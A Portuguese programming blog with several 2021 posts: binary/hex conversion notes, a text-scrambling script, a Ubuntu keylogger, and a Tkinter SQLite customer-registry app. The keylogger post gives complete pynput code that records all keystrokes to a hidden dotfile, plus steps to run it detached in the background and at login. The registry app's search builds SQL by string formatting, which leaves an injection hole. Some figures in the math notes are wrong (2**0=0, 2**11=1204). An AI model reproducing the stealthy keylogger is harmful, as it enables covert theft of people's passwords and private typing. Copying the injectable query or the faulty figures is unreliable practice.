terça-feira, 23 de março de 2021

Numeros binarios e Hexadecimais

========================================================================
Hexadecimal: (7E5) ?
0 1 2 3  4  5  6  7  8  9  A  B  C  D (E) F  10 11 12 13 14 15 16 17 18
                           10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
                                          
Binário:    8+4+2+1=7 8421=14(E) 8421=5        
            0 1 1 1   1110       0101    (0111 1110 0101 = 7E5)
            
 21 ---------------------1024= 1024
 0052 1 ----------512+256+128=  896
 4215 2631 -------------64+32=   96
 8426 8426 8421 ----------4+1=    5
 0111 1110 0101        Resultado= 2021
 
 2**0=   0 | 2** 1=   2 | 2** 2=   4 2** 3=   8    (Potencias de 2)    
 2**4=  16 | 2** 5=  32 | 2** 6=  64 2** 8= 128
 2**9= 256 | 2**10= 512 | 2**11=1204 2**12=2048 ========================================================================
Hexadecimal:   15+16+16+16+16+16 14*16 16*16-1    +256+256 +256 +256
                F 1F 2F 3F 4F 5F E0    FF      100 200 300 400  500  
               15 31 47 63 79 95 224   255     256 512 768 1024 1280
7*256+224+5= 2021 :) 2021//256=7 2021%256=229 229//16=14 229%16=5 ======================================================================== 

Decimal para Binário: 45   ( // significa divisão inteira )

45//2= 22//2= 11//2= 5//2= 2//2= 1
 1      0      1     1     0     1 (resto das divisões = Binário) ========================================================================  


sexta-feira, 19 de março de 2021

Embaralha e desembaralha texto

 

# Na mesma pasta
# Nomeie o arquivo a ser criptografado como texto1
# Nomeie o arquivo a ser descriptografado como texto2
# Abra um terminal
# Digite: python3 cript8.py # Requer python3 instalado
def invert(string):
print('Invertendo', len(string))
pos = len(string)-1
stringRe = ""
while pos >= 0:
stringRe = stringRe + string[pos]
pos = pos - 1
return stringRe
def embaralha(entra):
print('Embaralhando', len(entra))
out1 = out2 = ''
for i in range(len(entra)):
if i == 0 or i % 2 == 0:
out1 += entra[i]
else:
out2 += entra[i]
out2 += out1
return out2
def desembaralha(entra):
print('Desenbaralhando', len(entra))
i, n, out = 0, 0, ''
n = len(entra) // 2
while i <= (len(entra)) // 2:
if n < len(entra): #print('!n', n)
out += entra[n]
n += 1
if i < len(entra) // 2:
out += entra[i]
i += 1
return out
def ch():
cho = input('\n1-cript, 2-deCript: ')
if cho == "1":
file = "texto1"
with open(file, 'r') as text:
txt = text.read()
texto = embaralha(invert(embaralha(txt)))
print(len(txt), len(texto), 'I/O\n', txt, texto)
file = "texto2"
with open(file, 'w') as text:
text.write(texto)
if cho == "2":
file = "texto2"
with open(file, 'r') as text:
txt = text.read()
texto = desembaralha(invert(desembaralha(txt)))
print(len(txt), len(texto), 'I/O\n', txt, texto)
file = "texto3"
with open(file, 'w') as text:
text.write(texto)
else:
print(' 1 ou 2 !')
ch()
ch()
ch()
 
# Felipe Tanii data de criação 20210117      
Arquivos: https://drive.google.com/drive/folders/1_xXsvF6bwStzR3a1teF0izkmzVQ_HLrE?usp=sharing

sexta-feira, 12 de março de 2021

Keylogger para Ubuntu

 # Felipe Tanii
----- Instalar os pacotes:
$ sudo apt install python3-pip
$ pip3 install pynput
$ sudo apt install screen
$ cd ~
$ nano .kllgr.py
------ Copie e cole no nano com shit+ctrl+v
# Felipe Tanii 2020 12 1
from pynput.keyboard import Listener
import re
arquivoLog = '.kllgr.log'
def capturar(tecla):
    tecla = str(tecla)
    tecla = re.sub(r'\'', '', tecla)
    tecla = re.sub(r'Key.', ' ', tecla)
    tecla = re.sub(r'space', '', tecla)
    tecla = re.sub(r'back', '<-', tecla)
    tecla = re.sub(r'enter', '\n', tecla)
    tecla = re.sub(r'shift', '', tecla)
    with open(arquivoLog, 'a') as log:
        log.write(tecla)
with Listener(on_press=capturar) as l:
    l.join()
----------------------------------------
- ctrl+o para salvar
- Enter
- ctrl+x para sair
$ nano .kllgr.sh
------ Copie e cole no nano com shit+ctrl+v
#!/bin/sh
# Felipe Tanii 2020 12 1
python3 .kllgr.py &  
screen &&
exit
----------------------------------------
- ctrl+o para salvar
- Enter
- ctrl+x para sair
$ chmod +x .kllgr.sh     (o torna executável)
-------------------- Para executar ao iniciar -----------------------
----------------------------------------
- Nos aplicativos do Ubuntu busque “Aplicativos iniciais de sessão”.
- Em adicionar, navegar adicione o .kllgr.sh
- Nomeie como kllgr e reinicie
- O arquivo esta oculto em .kllgr.log na sua pasta de usuário
- ctrl + h para visualizar arquivos ocultos
----------------------------------------

------------------ OU -----------------------------------------------

------ Usar o kllgr sem reiniciar ou adicionar na inicialização
- No terminal:
$ screen    (abre primeira sessão)
(tap space)
$ python3 .kllgr.py &        (Executa & libera)
$ screen &&                    (Abre nova sessao)
(fechar o terminal)
$ ps ax | grep .kllgr.py    (ver se executando)
$ kill (numero do PID)        (mata o processo)(desliga o kllgr)
---------------------------------------- 

Arquivos:  https://drive.google.com/drive/folders/1UqV69RviZA33gwzpksaSQLFfOGfW97nX?usp=sharing



segunda-feira, 8 de março de 2021

Codigo ate a aula 16 do Curso Python Tkinter do RfZorzi - Rafael Serafim

# https://www.youtube.com/watch?v=RtrZcoVD1WM&list=PLqx8fDb-FZDFznZcXb_u_NyiQ7Nai674-


 

# sudo apt install python3-tk
# se nomear o file como tkinter.py (erro NameError: name 'Tk' is not defined)
# T do Tk() e L do Label(win... maisculos.
from tkinter import *
from tkinter import ttk
import sqlite3
from reportlab.pdfgen import canvas
from reportlab.lib.pagesizes import letter, A4
from reportlab.pdfbase import pdfmetrics
from reportlab.pdfbase.ttfonts import TTFont
from reportlab.platypus import SimpleDocTemplate, Image
import webbrowser
from PIL import Image #sudo apt install python3-pil.imagetk
from PIL import ImageTk
root = Tk()
#label = Label(root, text="Hello, World!")
#label.place(x=1, y=1)
class Relatorios():
    def printCliente(self):
        webbrowser.open("cliente.pdf")
    def geraRelatCliente(self):
        self.c = canvas.Canvas("cliente.pdf")
        self.codigoRel = self.codigo_entry.get()
        self.nomeRel = self.nome_entry.get()
        self.foneRel = self.fone_entry.get()
        self.cidadeRel = self.cidade_entry.get()
        self.c.setFont("Helvetica-Bold", 20)
        self.c.drawString(200, 800, 'Ficha do cliente')
        self.c.setFont("Helvetica-Bold", 10)
        self.c.drawString(50, 770, 'Codigo:')
        self.c.drawString(50, 750, 'Nome:')
        self.c.drawString(50, 730, 'Telefone:')
        self.c.drawString(50, 710, 'Cidade:')
        self.c.setFont("Helvetica", 10)
        self.c.drawString(100, 770, self.codigoRel)
        self.c.drawString(100, 750, self.nomeRel)
        self.c.drawString(100, 730, self.foneRel)
        self.c.drawString(100, 710, self.cidadeRel)
        self.c.rect(20, 700, 560, 90, fill=False, stroke=True)
        self.c.showPage()
        self.c.save()
        self.printCliente()
class Funcs():
    def limpa_cliente(self):
        self.codigo_entry.delete(0, END)
        self.nome_entry.delete(0, END)
        self.fone_entry.delete(0, END)
        self.cidade_entry.delete(0, END)
    def conecta_bd(self):
        self.conn = sqlite3.connect("clientes.bd")
        self.cursor = self.conn.cursor(); print("Conectando banco de dados")
    def desconecta_bd(self):
        self.conn.close(); print("Desconectando banco de dados")
    def montaTabelas(self):
        self.conecta_bd()
        ### Criar tabela
        self.cursor.execute("""
            CREATE TABLE IF NOT EXISTS clientes (
                cod INTEGER PRIMARY KEY,
                nome_cliente CHAR(40) NOT NULL,
                telefone INTEGER(20),
                cidade CHAR(40)
            );
        """)
        self.conn.commit(); print("Banco de dados criado")
        self.desconecta_bd()
    def var(self):
        self.codigo = self.codigo_entry.get()
        self.nome = self.nome_entry.get()
        self.fone = self.fone_entry.get()
        self.cidade = self.cidade_entry.get()
    def add_cliente(self):
        self.var()
        self.conecta_bd()
        self.cursor.execute(""" INSERT INTO clientes (nome_cliente, telefone, cidade)
            VALUES (?, ?, ?)""", (self.nome, self.fone, self.cidade))
        self.conn.commit()
        self.desconecta_bd()
        self.select_lista()
        self.limpa_cliente()
    def select_lista(self):
        self.listaCli.delete(*self.listaCli.get_children())
        self.conecta_bd()
        lista = self.cursor.execute(""" SELECT cod, nome_cliente, telefone, cidade FROM clientes
            ORDER BY nome_cliente ASC; """)
        for i in lista:
            self.listaCli.insert("", END, values=i)
        self.desconecta_bd()
    def OnDoubleClick(self, event):
        self.limpa_cliente()
        self.listaCli.selection()
        for n in self.listaCli.selection():
            col1, col2, col3, col4 = self.listaCli.item(n, 'values')
            self.codigo_entry.insert(END, col1)
            self.nome_entry.insert(END, col2)
            self.fone_entry.insert(END, col3)
            self.cidade_entry.insert(END, col4)
    def deleta_cliente(self):
        self.var()
        self.conecta_bd()
        self.cursor.execute(""" DELETE FROM clientes WHERE cod = ? """, (self.codigo,))
        self.conn.commit()
        self.desconecta_bd()
        self.limpa_cliente()
        self.select_lista()
    def altera_cliente(self):
        self.var()
        self.conecta_bd()
        self.cursor.execute(""" UPDATE clientes SET nome_cliente = ?, telefone = ?, cidade = ?
            WHERE cod = ? """, (self.nome, self.fone, self.cidade, self.codigo))
        self.conn.commit()
        self.desconecta_bd()
        self.select_lista()
        self.limpa_cliente()
    def busca_cliente(self):
        self.conecta_bd()
        self.listaCli.delete(*self.listaCli.get_children())
        self.nome_entry.insert(END, '%')
        nome = self.nome_entry.get()
        self.cursor.execute(
            """ SELECT cod, nome_cliente, telefone, cidade FROM clientes
            WHERE nome_cliente LIKE '%s' ORDER BY nome_cliente ASC""" % nome)
        buscanomeCli = self.cursor.fetchall()
        for i in buscanomeCli:
            self.listaCli.insert("", END, values=i)
        self.limpa_cliente()
        self.desconecta_bd()
class Application(Funcs, Relatorios):
    def __init__(self):
        self.root = root
        self.tela()
        self.frames_da_tela()
        self.widgets_frame1()
        self.lista_frame2()
        self.montaTabelas()
        self.select_lista()
        self.Menus()
        root.mainloop()
    def tela(self):
        self.root.title("Cadastro de Clientes") # titulo da janela
        self.root.configure(background= '#1e3743')
        self.root.geometry("700x500+0+0")
        self.root.resizable(True, True)
        self.root.maxsize(width= 900, height= 700)
        self.root.minsize(width= 500, height= 400)
    def frames_da_tela(self):
        self.frame_1 = Frame(self.root, bd = 4, bg= '#dfe3ee', highlightbackground= '#bcc8d8', highlightthickness= 3)
        self.frame_1.place(relx= 0.02, rely= 0.02, relwidth= 0.96, relheight= 0.46)
        self.frame_2 = Frame(self.root, bd = 4, bg= '#dfe3ee', highlightbackground= '#bcc8d8', highlightthickness= 3)
        self.frame_2.place(relx= 0.02, rely= 0.5, relwidth= 0.96, relheight= 0.46)
    def widgets_frame1(self):
        self.canvas_bt = Canvas(self.frame_1, bd=0, bg='#1e3743', highlightbackground = '#bcc8d8', highlightthickness= 3)
        self.canvas_bt.place(relx= 0.19, rely= 0.081, relwidth= 0.22, relheight= 0.19)
        self.bt_limpar = Button(self.frame_1, text= 'Limpar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command= self.limpa_cliente)
        self.bt_limpar.place(relx= 0.2, rely= 0.1, relwidth= 0.1, relheight= 0.15)
        self.bt_buscar = Button(self.frame_1, text= 'Buscar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command = self.busca_cliente)
        self.bt_buscar.place(relx= 0.3, rely= 0.1, relwidth= 0.1, relheight= 0.15)
        self.imgNovo = PhotoImage(file = "novo.png")
        self.imgNovo = self.imgNovo.subsample(3, 2)
        self.style = ttk.Style()
        self.style.configure("BW.TButton", relwidth=1, relheight=1, borderwidth=-5, bodercolor= '#bcc8d8', background= 'gray', image= self.imgNovo)
        self.bt_novo = ttk.Button(self.frame_1, style = "BW.TButton", command= self.add_cliente)
        self.bt_novo.place(relx= 0.6, rely= 0.1, relwidth= 0.1, relheight= 0.15)
        self.bt_novo.config(image= self.imgNovo)
        self.bt_alterar = Button(self.frame_1, text= 'Alterar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', font = ('times', 10, 'bold'), command= self.altera_cliente)
        self.bt_alterar.place(relx= 0.7, rely= 0.1, relwidth= 0.1, relheight= 0.15)
        self.bt_apagar = Button(self.frame_1, text= 'Apagar', bd= 2, bg= '#e4e4e4', fg= '#024c2c', activebackground= '#bcc8d8', activeforeground='green', font = ('times', 10, 'bold'), command= self.deleta_cliente)
        self.bt_apagar.place(relx= 0.8, rely= 0.1, relwidth= 0.1, relheight= 0.15)

        self.lb_codigo = Label(self.frame_1, text= 'Codigo', bg= '#dfe3ee', fg= '#024c2c')
        self.lb_codigo.place(relx= 0.05, rely= 0.05)
        self.codigo_entry = Entry(self.frame_1, fg= '#024c2c')
        self.codigo_entry.place(relx= 0.05, rely= 0.15, relwidth= 0.08)

        self.lb_nome = Label(self.frame_1, text= 'Nome', bg= '#dfe3ee', fg= '#024c2c')
        self.lb_nome.place(relx= 0.05, rely= 0.35)
        self.nome_entry = Entry(self.frame_1, fg= '#024c2c')
        self.nome_entry.place(relx= 0.05, rely= 0.45, relwidth= 0.8)

        self.lb_fone = Label(self.frame_1, text= 'Telefone', bg= '#dfe3ee', fg= '#024c2c')
        self.lb_fone.place(relx= 0.05, rely= 0.6)
        self.fone_entry = Entry(self.frame_1, fg= '#024c2c')
        self.fone_entry.place(relx= 0.05, rely= 0.7, relwidth= 0.3)

        self.lb_cidade = Label(self.frame_1, text= 'Cidade', bg= '#dfe3ee', fg= '#024c2c')
        self.lb_cidade.place(relx= 0.4, rely= 0.6)
        self.cidade_entry = Entry(self.frame_1, fg= '#024c2c')
        self.cidade_entry.place(relx= 0.4, rely= 0.7, relwidth= 0.5)
    def lista_frame2(self):
        self.listaCli = ttk.Treeview(self.frame_2, height= 3, column=('col1, col2, col3, col4'))
        self.listaCli.heading('#0', text= '')
        self.listaCli.heading('#1', text= 'Codigo')
        self.listaCli.heading('#2', text= 'Nome')
        self.listaCli.heading('#3', text= 'Telefone')
        self.listaCli.heading('#4', text= 'Cidade')
        self.listaCli.column('#0', width=1)
        self.listaCli.column('#1', width=50)
        self.listaCli.column('#2', width=200)
        self.listaCli.column('#3', width=125)
        self.listaCli.column('#4', width=125)
        self.listaCli.place(relx=0.01, rely=0.1, relwidth=0.95, relheight=0.85)
        self.scroolLista = Scrollbar(self.frame_2, orient='vertical')
        self.listaCli.configure(yscroll=self.scroolLista.set)
        self.scroolLista.place(relx=0.96, rely=0.1, relwidth=0.04, relheight=0.85)
        self.listaCli.bind("<Double-1>", self.OnDoubleClick)
    def Menus(self):
        menubar = Menu(self.root)
        self.root.config(menu=menubar)
        filemenu = Menu(menubar)
        filemenu2 = Menu(menubar)
        def Quit(): self.root.destroy()
        menubar.add_cascade(label="Opções", menu= filemenu)
        menubar.add_cascade(label="Sobre", menu= filemenu2)
        filemenu.add_command(label="Sair", command= Quit)
        filemenu2.add_command(label="Limpa Cliente", command= self.limpa_cliente)
        filemenu2.add_command(label="Ficha do Cliente", command= self.geraRelatCliente)
Application()